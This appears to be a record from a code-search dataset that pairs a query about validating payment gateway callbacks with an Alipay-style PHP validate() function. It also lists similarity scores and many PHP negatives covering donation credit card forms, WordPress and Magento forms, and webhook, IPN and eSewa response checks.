render.\n\t\t *\n\t\t * @since 1.7\n\t\t */\n\t\tdo_action( 'give_donation_form_register_login_fields', $form_id, $args );\n\n\t\t/**\n\t\t * Fire when credit card form fields render.\n\t\t *\n\t\t * @since 1.7\n\t\t */\n\t\tdo_action( 'give_donation_form_before_cc_form', $form_id, $args );\n\n\t\t// Load the credit card form and allow gateways to load their own if they wish.\n\t\tif ( has_action( 'give_' . $payment_mode . '_cc_form' ) ) {\n\t\t\t/**\n\t\t\t * Fires while displaying donation form, credit card form fields for a given gateway.\n\t\t\t *\n\t\t\t * @param int $form_id The form ID.\n\t\t\t *\n\t\t\t * @since 1.0\n\t\t\t *\n\t\t\t */\n\t\t\tdo_action( \"give_{$payment_mode}_cc_form\", $form_id, $args );\n\t\t} else {\n\t\t\t/**\n\t\t\t * Fires while displaying donation form, credit card form fields.\n\t\t\t *\n\t\t\t * @param int $form_id The form ID.\n\t\t\t *\n\t\t\t * @since 1.0\n\t\t\t *\n\t\t\t */\n\t\t\tdo_action( 'give_cc_form', $form_id, $args );\n\t\t}\n\n\t\t/**\n\t\t * Fire after credit card form fields render.\n\t\t *\n\t\t * @since 1.7\n\t\t */\n\t\tdo_action( 'give_donation_form_after_cc_form', $form_id, $args );\n\n\t} else {\n\t\t/**\n\t\t * Fire if user can not donate.\n\t\t *\n\t\t * @since 1.7\n\t\t */\n\t\tdo_action( 'give_donation_form_no_access', $form_id );\n\n\t}\n\n\t/**\n\t * Fire after donation form rendered.\n\t *\n\t * @since 1.7\n\t */\n\tdo_action( 'give_payment_fields_bottom', $form_id, $args );\n}", "public function paymentFormPartial(): string\n {\n return 'form';\n }", "function options_page_html()\n\t\t{\n\t\t\tif (!current_user_can('manage_options')) {\n\t\t\t\twp_die(__('You do not have sufficient permissions to access this page.'));\n\t\t\t}\n\t\t\t\n\t\t\techo '<div class=\"wrap\">';\n\t\t\techo '<h2>';\n\t\t\techo 'Verify Meta Tags Plugin Options';\n\t\t\techo '</h2>';\n\t\t\techo '<form method=\"post\" action=\"options.php\">';\n\t\t\tsettings_fields('vmt-options-page');\n\t\t\tdo_settings_sections('vmt-options-page');\n\t\t\techo '<p class=submit>';\n\t\t\techo '<input type=\"submit\" class=\"button-primary\" value=\"' . __('Save Changes') . '\" />';\n\t\t\techo '</p>';\n\t\t\techo '</form>';\n\t\t\techo '</div>';\n\t\t}", "function content() {\n echo \"\n <form action='' method='post'>\n <input name='token' type='hidden' value='{$this->params['editToken']}'>\n <input name='editId' type='hidden' value='{$this->params['editId']}'>\n <label for='username'>Username</label>\n <input name='username' placeholder='Username' id='username' type='text' value='{$this->params['username']}'>\n <label for='password'>Password</label>\n <input name='password' placeholder='Replace password (Optional)' id='password' type='password'>\n <label for='role'>Role</label>\n <select name='role' id='role' {$this->params['rolePower']}>\n <option value='1' {$this->params['isAdmin']}>Admin</option>\n <option value='2' {$this->params['isAgent']}>Agent</option>\n </select>\n <input type='submit' value='Edit Account'>\n </form>\n \";\n }", "protected function html()\r\n\t{\r\n\r\n\t\t$data = $this->form;\r\n\t\t$f = $data['form'];\r\n\r\n\t\tif($f == 'select'){\r\n\t\t\t$this->selectLink();\r\n\t\t}\r\n\r\n\t\tif($f == 'file'){\r\n\t\t\t$this->fileLink();\r\n\t\t}\r\n\r\n\t\tif($f == 'textarea'){\r\n\t\t\t$this->success = $this->textarea();\r\n\t\t}\r\n\r\n\t\tif($f == 'radio' || $f=='checkbox'){\r\n\t\t\t$this->chooseLink();\r\n\t\t}\r\n\t\tif($f == 'hidden'|| $f =='password'|| $f =='text'|| $f =='number'|| $f =='date'){\r\n\t\t\t$this->oneLink();\r\n\t\t}\r\n\t\tif($f == 'editor'){\r\n\t\t\t$this->oneLink();\r\n\t\t}\r\n\t\tif(strpos($f,'extend')!==false){\r\n\t\t\t$this->oneLink();\r\n\t\t}\r\n\t\tif($this->continue){\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$this->replace();\r\n\t}", "function give_get_cc_form( $form_id ) {\n\n\tob_start();\n\n\t/**\n\t * Fires while rendering credit card info form, before the fields.\n\t *\n\t * @param int $form_id The form ID.\n\t *\n\t * @since 1.0\n\t *\n\t */\n\tdo_action( 'give_before_cc_fields', $form_id );\n\t?>\n\t<fieldset id=\"give_cc_fields-<?php echo $form_id; ?>\" class=\"give-do-validate\">\n\t\t<legend><?php echo apply_filters( 'give_credit_card_fieldset_heading', esc_html__( 'Credit Card Info', 'give' ) ); ?></legend>\n\t\t<?php if ( is_ssl() ) : ?>\n\t\t\t<div id=\"give_secure_site_wrapper-<?php echo $form_id; ?>\">\n\t\t\t\t<span class=\"give-icon padlock\"></span>\n\t\t\t\t<span><?php _e( 'This is a secure SSL encrypted payment.', 'give' ); ?></span>\n\t\t\t</div>\n\t\t<?php endif; ?>\n\t\t<p id=\"give-card-number-wrap-<?php echo $form_id; ?>\" class=\"form-row form-row-two-thirds form-row-responsive\">\n\t\t\t<label for=\"card_number-<?php echo $form_id; ?>\" class=\"give-label\">\n\t\t\t\t<?php _e( 'Card Number', 'give' ); ?>\n\t\t\t\t<span class=\"give-required-indicator\">*</span>\n\t\t\t\t<?php echo Give()->tooltips->render_help( __( 'The (typically) 16 digits on the front of your credit card.', 'give' ) ); ?>\n\t\t\t\t<span class=\"card-type\"></span>\n\t\t\t</label>\n\n\t\t\t<input type=\"tel\" autocomplete=\"off\" name=\"card_number\" id=\"card_number-<?php echo $form_id; ?>\"\n\t\t\t class=\"card-number give-input required\" placeholder=\"<?php _e( 'Card number', 'give' ); ?>\"\n\t\t\t required aria-required=\"true\"/>\n\t\t</p>\n\n\t\t<p id=\"give-card-cvc-wrap-<?php echo $form_id; ?>\" class=\"form-row form-row-one-third form-row-responsive\">\n\t\t\t<label for=\"card_cvc-<?php echo $form_id; ?>\" class=\"give-label\">\n\t\t\t\t<?php _e( 'CVC', 'give' ); ?>\n\t\t\t\t<span class=\"give-required-indicator\">*</span>\n\t\t\t\t<?php echo Give()->tooltips->render_help( __( 'The 3 digit (back) or 4 digit (front) value on your card.', 'give' ) ); ?>\n\t\t\t</label>\n\n\t\t\t<input type=\"tel\" size=\"4\" autocomplete=\"off\" name=\"card_cvc\" id=\"card_cvc-<?php echo $form_id; ?>\"\n\t\t\t class=\"card-cvc give-input required\" placeholder=\"<?php _e( 'Security code', 'give' ); ?>\"\n\t\t\t required aria-required=\"true\"/>\n\t\t</p>\n\n\t\t<p id=\"give-card-name-wrap-<?php echo $form_id; ?>\" class=\"form-row form-row-two-thirds form-row-responsive\">\n\t\t\t<label for=\"card_name-<?php echo $form_id; ?>\" class=\"give-label\">\n\t\t\t\t<?php _e( 'Cardholder Name', 'give' ); ?>\n\t\t\t\t<span class=\"give-required-indicator\">*</span>\n\t\t\t\t<?php echo Give()->tooltips->render_help( __( 'The name of the credit card account holder.', 'give' ) ); ?>\n\t\t\t</label>\n\n\t\t\t<input type=\"text\" autocomplete=\"off\" name=\"card_name\" id=\"card_name-<?php echo $form_id; ?>\"\n\t\t\t class=\"card-name give-input required\" placeholder=\"<?php esc_attr_e( 'Cardholder Name', 'give' ); ?>\"\n\t\t\t required aria-required=\"true\"/>\n\t\t</p>\n\t\t<?php\n\t\t/**\n\t\t * Fires while rendering credit card info form, before expiration fields.\n\t\t *\n\t\t * @param int $form_id The form ID.\n\t\t *\n\t\t * @since 1.0\n\t\t *\n\t\t */\n\t\tdo_action( 'give_before_cc_expiration' );\n\t\t?>\n\t\t<p class=\"card-expiration form-row form-row-one-third form-row-responsive\">\n\t\t\t<label for=\"card_expiry-<?php echo $form_id; ?>\" class=\"give-label\">\n\t\t\t\t<?php _e( 'Expiration', 'give' ); ?>\n\t\t\t\t<span class=\"give-required-indicator\">*</span>\n\t\t\t\t<?php echo Give()->tooltips->render_help( __( 'The date your credit card expires, typically on the front of the card.', 'give' ) ); ?>\n\t\t\t</label>\n\n\t\t\t<input type=\"hidden\" id=\"card_exp_month-<?php echo $form_id; ?>\" name=\"card_exp_month\"\n\t\t\t class=\"card-expiry-month\"/>\n\t\t\t<input type=\"hidden\" id=\"card_exp_year-<?php echo $form_id; ?>\" name=\"card_exp_year\"\n\t\t\t class=\"card-expiry-year\"/>\n\n\t\t\t<input type=\"tel\" autocomplete=\"off\" name=\"card_expiry\" id=\"card_expiry-<?php echo $form_id; ?>\"\n\t\t\t class=\"card-expiry give-input required\" placeholder=\"<?php esc_attr_e( 'MM / YY', 'give' ); ?>\"\n\t\t\t required aria-required=\"true\"/>\n\t\t</p>\n\t\t<?php\n\t\t/**\n\t\t * Fires while rendering credit card info form, after expiration fields.\n\t\t *\n\t\t * @param int $form_id The form ID.\n\t\t *\n\t\t * @since 1.0\n\t\t *\n\t\t */\n\t\tdo_action( 'give_after_cc_expiration', $form_id );\n\t\t?>\n\t</fieldset>\n\t<?php\n\t/**\n\t * Fires while rendering credit card info form, before the fields.\n\t *\n\t * @param int $form_id The form ID.\n\t *\n\t * @since 1.0\n\t *\n\t */\n\tdo_action( 'give_after_cc_fields', $form_id );\n\n\techo ob_get_clean();\n}", "public function policy(){\n // Set the Page Title ('pageName', 'pageSection', 'areaName')\n $this->_view->pageTitle = array('Policy');\n // Set Page Description\n $this->_view->pageDescription = 'Policy';\n // Set Page Section\n $this->_view->pageSection = 'Policy';\n // Set Page Sub Section\n $this->_view->pageSubSection = '';\n\n // Render the view ($renderBody, $layout, $area)\n $this->_view->render('home/policy');\n }", "public function formAction()\r\n {\r\n \r\n\t\t$this->loadLayout();\r\n\t\t\r\n\t\t$root = $this->getLayout()->getBlock('root');\r\n\t\t$settemplate = \"page/1column.phtml\";\r\n\t\t$root->setTemplate($settemplate);\r\n\t\t\r\n $block = $this->getLayout()->createBlock(\r\n 'Mage_Core_Block_Template',\r\n 'advancedpermissions.vendor_form',\r\n array(\r\n 'template' => 'advancedpermissions/vendor_form.phtml'\r\n )\r\n );\r\n\r\n $this->getLayout()->getBlock('content')->append($block);\r\n $this->_initLayoutMessages('core/session');\r\n\t\t\r\n $this->renderLayout();\r\n\t\t\r\n }", "function show_my_text_on_checkout() {\n echo '<p>All credit card details are processed and stored securely via Stripe.</p>'; \n}", "function payment_fields() {\n if ($this->description) echo wpautop(wptexturize($this->description));\n ?>\n <ol class=\"my-list\">\n <li>Entrez votre numéro MTN Mobile Money dans le champ de formulaire ci-dessous</li>\n <li>Vous recevrez un message vous demandant de composer *126# et d'entrer votre code PIN</li>\n <li>Composez *126# et entrez votre code PIN pour confirmer votre paiement</li>\n <li>Si le paiement est effectué, votre commande sera automatiquement validé</li>\n </ol>\n\n <label for=\"\">Entrez votre numéro MTN Mobile Money</label>\n\n <input type=\"text\" name=\"gt_user_momo_number\" value=\"\"\n style=\"background-color: #fff; border-radius: 0px; color: #222;\"required class=\"form-controll\"\n placeholder=\"Enter your phone number\">\n <?php\n }" ]
[ "0.6831278", "0.6788915", "0.6484929", "0.64094156", "0.6340139", "0.6333488", "0.62982434", "0.6292532", "0.6280204", "0.62760043", "0.62127715", "0.6210137", "0.6208746", "0.6184255", "0.616453", "0.6113797", "0.6099813", "0.6097404", "0.6097157", "0.6053527", "0.60442746", "0.6034042", "0.60242116", "0.60107565", "0.6006125", "0.6001869", "0.59896153", "0.5972677", "0.59654576", "0.5941103", "0.59294236", "0.59231544", "0.58978647", "0.5883891", "0.5872043", "0.5869752", "0.58682436", "0.5864488", "0.58641243", "0.58641243", "0.5851769", "0.58400834", "0.58336365", "0.5819622", "0.58025616", "0.57958394", "0.5782918", "0.57820296", "0.57784677", "0.5778271", "0.5777772", "0.5768688", "0.57654214", "0.57635355", "0.57444185", "0.57407224", "0.5740456", "0.57403374", "0.57395047", "0.57323784", "0.57323784", "0.57300067", "0.5724836", "0.5718687", "0.5711265", "0.5703144", "0.56982523", "0.5697654", "0.56926644", "0.5689452", "0.5685224", "0.5676356", "0.56759566", "0.5672129", "0.5666581", "0.5665253", "0.5661823", "0.5661359", "0.565978", "0.5657907", "0.56574994", "0.5654869", "0.56536967", "0.5645595", "0.5642884", "0.56428325", "0.56427616", "0.5635687", "0.5630635", "0.56274265", "0.56255394", "0.5622835", "0.5617653", "0.56141454", "0.56134844", "0.5607085", "0.56021124", "0.55930114", "0.5591823", "0.5591329", "0.55890965" ]
0.0
-1
Validates the incoming POST/GET response from the gateway to ensure it is legitimate and can be trusted.
public function validate(array $get, array $post) { $backup = $post; $client_id = $this->ifSet($post['client_id']); unset($post['client_id']); unset($post['sign_type']); $sign = $post['sign']; unset($post['sign']); if ($this->checkSign($post, $sign) && $this->checkNotify($this->ifSet($post['notify_id']))) { $this->log('CALLBACK: '.$this->ifSet($_SERVER['REQUEST_URI']), serialize($backup), "input", true); echo 'success'; // if ($this->ifSet($post['trade_status']) == 'WAIT_SELLER_SEND_GOODS') { // $this->sendGoods($this->ifSet($post['trade_no'])); // } if ($this->ifSet($post['trade_status']) == 'TRADE_FINISHED') { if ($this->checkTransID($this->ifSet($post['trade_no']), $client_id)) { return null; } else { return array( 'client_id' => $client_id, 'amount' => $this->ifSet($post['price']), 'currency' => 'CNY', 'invoices' => $this->unserializeInvoices($this->ifSet($post['body'])), 'status' => 'approved', 'transaction_id' => $this->ifSet($post['trade_no']) ); } } } else { $this->log('CALLBACK: '.$this->ifSet($_SERVER['REQUEST_URI']), serialize($backup), "input", false); return null; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function check_response() {\n\n\t\t// To test in live mode ($_post)\n\t\t$post = ( file_get_contents( 'php://input' ) );\n\n\t\tif ( ! empty( $post ) ) {\n\t\t\tdo_action( 'valid-oyst-one-click-request', $post );\n\t\t\texit;\n\t\t}\n\t\tWC_Oyst_One_Click::log( 'Retour One Click vide', 'error' );\n\t\twp_die( 'Erreur de requête One Click', '1-Click', array( 'response' => 500 ) );\n\n\t}", "private function validateRequest()\n {\n $ret_api_secret = null;\n\n if (!isset($_POST['invoiceId'])) {\n dump($_POST['invoiceId']);\n return false;\n }\n\n if (isset($_POST['apiSecret'])) {\n $ret_api_secret = $_POST['apiSecret'];\n } else {\n return false;\n }\n\n if ($this->api_secret != $ret_api_secret) {\n return false;\n }\n\n if (isset($_SERVER['HTTP_REFERER'])) {\n $urlParts = parse_url($_SERVER['HTTP_REFERER']);\n $ip = gethostbyname($urlParts['host']);\n\n if ($this->pursar_ip != $ip) {\n return false;\n }\n }\n\n return true;\n }", "public function validateReuest()\r\n {\r\n //echo $_SERVER['CONTENT_TYPE']; exit;\r\n\r\n if($_SERVER['CONTENT_TYPE'] !== 'application/json')\r\n {\r\n $this->throwError(REQUEST_CONTENTTYPE_NOT_VALID, 'Request Content-Type is not Valid');\r\n }\r\n\r\n // decode it into array format.\r\n $data = json_decode($this->request, true);\r\n // to check the data in array.\r\n //print_r($data);\r\n\r\n\r\n // check if api name is reuired or not\r\n if(!isset($data['name']) || $data['name'] == \"\")\r\n {\r\n $this->throwError(API_NAME_REQUIRED, \"API Name is Required.\");\r\n }\r\n $this->serviceName = $data['name'];\r\n\r\n\r\n // check if parameters name is reuired or not\r\n if(!is_array($data['param']))\r\n {\r\n $this->throwError(API_PARAM_REQUIRED, \"API PARAM is Required.\");\r\n }\r\n $this->param = $data['param'];\r\n }", "function check_esewa_response() {\n\n\t\t\t@ob_clean();\n\n\t\t\tif ( ! empty( $_REQUEST ) && $this->check_esewa_response_is_valid() ) {\n\n\t\t\t\tdo_action( 'valid-esewa-standard-response' );\n\n\t\t\t} else {\n\n\t\t\t\twp_die( 'eSewa Response Validation Failure' );\n\n\t\t\t}\n\n\t\t}", "function check_ipn_response() {\n\t\t@ob_clean();\n \t\tif ( ! empty( $_POST ) && $responce = $this->check_ipn_request_is_valid() ) {\n\n\t \t\theader( 'HTTP/1.1 200 OK' );\n\t \tdo_action( \"valid-payu-standard-ipn-request\", $_POST );\n\n\t\t\tif ($responce) {\n\t\t\t\techo $responce;\n\t\t\t\t@ob_flush();\n\t\t\t}\n\n\t\t} else {\n\n\t\t\twp_die( \"PayU IPN Request Failure\" );\n\n \t\t}\n\n\t}", "public function validateWebhookCall()\n {\n // If the webhook was called with an invalid method, throw an error\n if($_SERVER['REQUEST_METHOD'] != 'POST'){\n die(json_encode([\n 'success' => false,\n 'error' => 'invalid_method',\n ]));\n }\n\n // If the webhook was called without any auth header, throw another error\n if (!isset($_SERVER['HTTP_AUTHORIZATION']) || empty($_SERVER['HTTP_AUTHORIZATION'])) {\n die(json_encode([\n 'success' => false,\n 'error' => 'no_auth_header',\n ]));\n }\n\n if($_SERVER['HTTP_AUTHORIZATION'] != Config::i()->getSXApiKey()){\n die(json_encode([\n 'success' => false,\n 'error' => 'invalid_auth',\n ]));\n }\n }", "protected function parsePostResponse()\n\t{\n\t\t$this->validateErrorsInBody($this->decodedBody());\n\t\treturn true;\n\t}", "private function validateRequest()\n {\n //verify there is a valid access token and it matches our config. Bail if not present\n $incoming_access_token = $this->request->token();\n if ($incoming_access_token !== $this->config->access_token && ! empty($this->config->access_token)) {\n $msg = 'Access denied due to invalid token.';\n syslog(LOG_DEBUG, $msg);\n header('HTTP/1.1 403 Access Denied.');\n exit();\n }\n\n //verify we have a valid request\n if (! $this->request->isValid()) {\n $msg = 'Invalid package received.';\n syslog(LOG_DEBUG, $msg);\n header('HTTP/1.1 400 Bad Request');\n exit($msg);\n }\n }", "function check_esewa_response_is_valid() {\n\t\t\tglobal $woocommerce;\n\n\t\t\tif ( 'yes' === $this->debug ) {\n\t\t\t\t$this->log->add( 'esewa', 'Checking eSewa response is valid...' );\n\t\t\t}\n\n\t\t\tif ( 'yes' === $this->testmode ) {\n\t\t\t\t$esewa_adr = $this->testurl_verification;\n\t\t\t} else {\n\t\t\t\t$esewa_adr = $this->liveurl_verification;\n\t\t\t}\n\n\t\t\t$_REQUEST = stripslashes_deep( $_REQUEST );\n\n\t\t\t$params = array(\n 'amt' => $_REQUEST['amt'],\n 'pid' => $_REQUEST['oid'],\n 'rid' => $_REQUEST['refId'],\n 'scd' => $this -> merchant,\n\t\t\t);\n\n\t\t\tif ( 'yes' === $this->debug ) {\n\t\t\t\t$this->log->add( 'esewa', 'Request Parameters: ' . print_r( $params, true ) );\n\t\t\t}\n\n\t\t\t$received_values = $params;\n\n\t\t\t$eparams = array(\n 'body' => $received_values,\n 'sslverify' => false,\n 'timeout' => 60,\n 'httpversion' => '1.1',\n 'user-agent' => 'WooCommerce/' . $woocommerce->version,\n\t\t\t);\n\t\t\t$response = wp_remote_post( $esewa_adr, $eparams );\n\n\t\t\tif ( 'yes' === $this->debug ) {\n\t\t\t\t$this->log->add( 'esewa', 'eSewa Response: ' . print_r( $response, true ) );\n\t\t\t}\n\n\t\t\t// check to see if the request was valid.\n\t\t\tif ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) {\n\t\t\t\tif ( 'yes' === $this->debug ) {\n\t\t\t\t\t$this->log->add( 'esewa', 'Received valid response from eSewa' );\n\t\t\t\t}\n\n\t\t\t\t// Check response code.\n\t\t\t\t$body = wp_remote_retrieve_body( $response );\n\t\t\t\t$esewa_response_code = trim( strip_tags( $body ) );\n\t\t\t\tif ( ! empty( $esewa_response_code ) ) {\n\t\t\t\t\t$esewa_response_code = strtolower( $esewa_response_code );\n\t\t\t\t}\n\t\t\t\tif ( 'success' === $esewa_response_code ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t} // End if.\n\n\t\t\tif ( 'yes' === $this->debug ) {\n\t\t\t\t$this->log->add( 'esewa', 'Received invalid response from eSewa' );\n\t\t\t\tif ( is_wp_error( $response ) ) {\n\t\t\t\t\t$this->log->add( 'esewa', 'Error response: ' . $response->get_error_message() );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\n\t\t}", "protected function validate_data_fields(){\n\t\tif(empty($this->RESPONSE)){throw new Exception(\"Response field not found\", 5);}\n\t\t\n\t\t// The remote IP address is also required\n\t\tif($this->validate_ip($this->REMOTE_ADDRESS)){throw new Exception(\"Renote IP address not set correctly\", 6);}\n\t}", "private function _check_valid_response($http_body_json = '')\n {\n if(!in_array($this->status_code, $this->valid_response_codes))\n {\n //@todo log bad response info\n $body_string = '';\n $body_array = array();\n $body_array = json_decode($http_body_json, true);\n if(!empty($body_array))\n {\n foreach($body_array as $k => $v)\n {\n $body_string .= \"$k: $v \";\n }\n }\n\n $x_message_data = 'X-Chirpify-Message: ' . $body_string;\n header($x_message_data);\n $header_data = 'HTTP/1.1 ' . $this->status_code;\n header($header_data);\n\n exit();\n }\n }", "protected function validatePOST() {\n return true;\n }", "public function validateRequest();", "public function checkValidResponse()\n {\n // do nothing if validation is disabled or request method not set\n if ( ! $this->options['validate'] || empty( $this->method ) ) return;\n\n $this->expected = $this->expectByMethod( $this->method );\n\n if ( $this->check( $this->getStatusCode(), $this->expected ) ) return;\n\n $exception = new ResponseException( \"The request was not successful! Response message was: '{$this->response}'\", $this->getStatusCode() );\n\n $exception->setExpectedStatusCode( $this->expected );\n\n throw $exception;\n }", "protected function notValid()\n {\n $this->response = $this->response->withStatus(422);\n $this->jsonBody([\n 'input' => $this->payload->getInput(),\n 'output' => $this->payload->getOutput(),\n 'messages' => $this->payload->getMessages(),\n ]);\n }", "protected function validateRequest()\n {\n if ( ! isset($_POST['purchase_code']) || ! is_string($_POST['purchase_code'])) {\n wp_send_json(array(\n 'type' => 'error',\n 'message' => __('Bad request', 'quform')\n ));\n }\n\n if ($_POST['purchase_code'] === '') {\n wp_send_json(array(\n 'type' => 'error',\n 'message' => __('Please enter a license key', 'quform')\n ));\n }\n\n if ( ! current_user_can('quform_settings')) {\n wp_send_json(array(\n 'type' => 'error',\n 'message' => __('Insufficient permissions', 'quform')\n ));\n }\n\n if ( ! check_ajax_referer('quform_verify_purchase_code', false, false)) {\n wp_send_json(array(\n 'type' => 'error',\n 'message' => __('Nonce check failed', 'quform')\n ));\n }\n }", "public static function check_mondido_response() {\r\n $_GET = stripslashes_deep($_GET);\r\n $expected_fields = array(\r\n \"hash\",\r\n \"payment_ref\",\r\n \"transaction_id\"\r\n );\r\n\r\n foreach($expected_fields as $field){\r\n if(!isset($_GET[$field])) return;\r\n }\r\n\r\n do_action(\"valid-mondido-callcack\", $_GET);\r\n }", "private function validate () {\n $payload = $this->payload;\n // Unset fields that don't match the spec\n foreach (array_keys($payload) as $field) {\n if (!in_array($field, $this->fields)) {\n unset($payload[$field]);\n }\n }\n\n // If the user is signing up manually (I.e. not via a social network), then\n // we also need a password\n if ($this->method === 'manual' && empty($payload['password'])) {\n return false;\n }\n\n $this->payload = $payload;\n return true;\n }", "function validate_request() {\n\t// Not all clients have a user agent.\n\tif ( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) {\n\t\t$_SERVER['HTTP_USER_AGENT'] = '';\n\t}\n\n\t$must_be_strings = [\n\t\t'latitude',\n\t\t'longitude',\n\t\t'country',\n\t\t'location',\n\t\t'timezone',\n\t\t'locale',\n\t\t'ip',\n\t];\n\n\tforeach ( $must_be_strings as $field ) {\n\t\tif ( isset( $_GET[ $field ] ) && ! is_scalar( $_GET[ $field ] ) ) {\n\t\t\theader( $_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request', true, 400 );\n\t\t\tdie( '{\"error\":\"Bad request.\",\"reason\":\"' . $field . ' must be of type string.\"}' );\n\t\t}\n\t}\n\n\tif ( ! empty( $_POST['location_data'] ) ) {\n\t\tforeach ( $_POST['location_data'] as $field => $value ) {\n\t\t\tif ( ! is_scalar( $value ) ) {\n\t\t\t\theader( $_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request', true, 400 );\n\t\t\t\tdie( '{\"error\":\"Bad request.\",\"reason\":\"' . $field . ' must be of type string.\"}' );\n\t\t\t}\n\t\t}\n\t}\n}", "public function validateResponseField() {\n // Active or default version set in configuration for a given\n // major version. Information is available in the call_asset/configuration.\n $active_version = (string) $this->call_asset['configuration']['active_version'];\n\n if (!isset($this->response_field[ $active_version ])) {\n // With the active version configuration, test against the call\n // response field versions if a response field for that version\n // has been defined (data can be mapped to a response field).\n\n // Call version not implemented.\n $response = [\n 'code' => 501, // Not Implemented.\n 'message' => 'Call : Call version not implemented.'\n ];\n TripalWebServiceResponse::errorResponse($response);\n }\n }", "public function validateResponse($response): bool\n {\n if (null === $response) {\n return false;\n }\n\n if (200 === ($statusCode = $response->getStatusCode())) {\n return true;\n }\n\n $responseContents = $response->getBody()->getContents();\n if (400 === $statusCode) {\n \\Yii::error(ErrorsHelper::getStatusCodeErrorMessage($statusCode, $responseContents, $this), ErrorsHelper::GUZZLE_HTTP_CLIENT_ERROR);\n \\Yii::error('Something in the request data was wrong: check if all data{...}values are converted to strings.', ErrorsHelper::GUZZLE_HTTP_CLIENT_ERROR);\n $this->setErrorStatusDescription(ErrorsHelper::STATUS_CODE_400, $responseContents);\n\n return false;\n }\n\n if (401 === $statusCode) {\n \\Yii::error(ErrorsHelper::getStatusCodeErrorMessage($statusCode, self::UNAUTHORIZED_REQUEST_EXCEPTION_MESSAGE, $this), ErrorsHelper::GUZZLE_HTTP_CLIENT_ERROR);\n \\Yii::error('To use the new FCM HTTP Legacy API, you need to enable FCM API on your Google API dashboard first - https://console.developers.google.com/apis/library/fcm.googleapis.com/.', ErrorsHelper::GUZZLE_HTTP_CLIENT_ERROR);\n $this->setErrorStatusDescription(ErrorsHelper::STATUS_CODE_403, $responseContents);\n return false;\n }\n\n \\Yii::error(ErrorsHelper::getStatusCodeErrorMessage($statusCode, $responseContents, $this), ErrorsHelper::GUZZLE_HTTP_CLIENT_OTHER_ERRORS);\n $this->setErrorStatusDescription(ErrorsHelper::OTHER_STATUS_CODES, $responseContents);\n $this->setRetryAfter($response);\n\n return false;\n }", "protected function validateRequest() {\n \t \t\n $request = new Oauth_Model_Request($this->getRequest());\n\n if (!$this->_request_validator->isValid($request)) {\n $response = Array();\n\n $messages = $this->_request_validator->getMessages();\n $last_msg = explode(\":\", array_pop($messages));\n $response['error'] = $last_msg[0];\n $response['error_description'] = isset($last_msg[1]) ? $last_msg[1] : \"\";\n\n $this->getResponse()->setHttpResponseCode(401);\n $this->getResponse()->setBody(json_encode($response));\n $this->getResponse()->setHeader('Content-Type', 'application/json;charset=UTF-8');\n\n return FALSE;\n }\n\n return TRUE;\n }", "protected function validateRequest() {\n $request = new Oauth_Model_Request($this->getRequest());\n\n if (!$this->_request_validator->isValid($request)) {\n $response = Array();\n\n $messages = $this->_request_validator->getMessages();\n $last_msg = explode(\":\", array_pop($messages));\n $response['error'] = $last_msg[0];\n $response['error_description'] = isset($last_msg[1]) ? $last_msg[1] : \"\";\n\n $this->getResponse()->setHttpResponseCode(401);\n $this->getResponse()->setBody(json_encode($response));\n $this->getResponse()->setHeader('Content-Type', 'application/json;charset=UTF-8');\n\n return FALSE;\n }\n\n return TRUE;\n }", "function validateResponse($page) {\n\treturn array_key_exists('headers', $page) && array_key_exists('headersRaw', $page) && array_key_exists('body', $page) && array_key_exists('error', $page)\n\t\t&& is_array($page['headers']) && is_array($page['headersRaw']) && is_string($page['body']);\n}", "function httpResponseValidatation($HttpType, $requestValue) {\n // Connect to DB\n $dataBase = connect_to_db();\n if (!$dataBase) {\n exit(\"Database error!\");\n }\n $returnValid = true;\n // var_dump(\"VERIFY USER\");\n $keys = array_keys($requestValue);\n if ($HttpType == \"POST\") {\n // username is a required field, and must be uneque\n if (validateUnequeIndividualFromTable(\"post\", $dataBase, $requestValue[\"post_id\"], \"id\")) {\n $returnValid = false;\n send404(\"Invlaid post given\", array(\"Message\" => \" Post \" . $requestValue[\"post_id\"] . \" id does not exist\"));\n }\n }\n else if ($HttpType == \"GET\" || $HttpType == \"PUT\" || $HttpType == \"DELETE\") {\n if (array_key_exists(\"post_id\", $requestValue)) {\n if (validateUnequeIndividualFromTable(\"blog_comment\", $dataBase, $requestValue[\"post_id\"], \"post_id\")) {\n $returnValid = false;\n send404(\"Invlaid ID given\", array(\"Message\" =>\"Post \". $requestValue[\"post_id\"] . \" does not match\"));\n }\n }\n }\n return $returnValid;\n}", "private function validate_input()\n \t{\n \t\t$this->errors_found = FALSE;\t\t\t\t\n\n\t\t// validate the get request\n\t\t//is their an IVR code?\n\t\tif(! isset($_GET['ivrcode'])){\n\t\t\t$this->response['status'] = 'Error';\n\t\t\t$this->response['message'][] = 'Missing ivrcode';\n\t\t\t$this->errors_found = TRUE;\n\t\t}elseif(! is_numeric($_GET['ivrcode'])){\n\t\t\t$this->response['status'] = 'Error';\n\t\t\t$this->response['message'][] = 'Invalid value for ivrcode - should be numeric';\n\t\t\t$this->errors_found = TRUE;\n\t\t}else{\n\t\t\t$this->form_answers['ivrcode'] = $_GET['ivrcode'];\n\t\t}\n\n\t\t//is there a phone number\n\t\tif(! isset($_GET['phonenumber'])){\n\t\t\t$this->response['status'] = 'Error';\n\t\t\t$this->response['message'][] = 'Missing phonenumber';\n\t\t\t$this->errors_found = TRUE;\n\t\t}elseif(! is_numeric($_GET['phonenumber'])){\n\t\t\t$this->response['status'] = 'Error';\n\t\t\t$this->response['message'][] = 'Invalid value for phonenumber - should be numeric';\n\t\t\t$this->errors_found = TRUE;\n\t\t}else{\n\t\t\t$this->form_answers['phonenumber'] = $_GET['phonenumber'];\n\t\t}\n\t\t\n\t\t//is there a well working?\n\t\tif(!isset($_GET['wellwork'])){\n\t\t\t$this->response['status'] = 'Error';\n\t\t\t$this->response['message'][] = 'Missing wellwork';\n\t\t\t$this->errors_found = TRUE;\n\t\t}else\n\t\t{\n\t\t\t$_GET['wellwork'] = strtolower($_GET['wellwork']);\n\t\t\t\n\t\t\tif($_GET['wellwork'] != 'yes' && $_GET['wellwork'] != 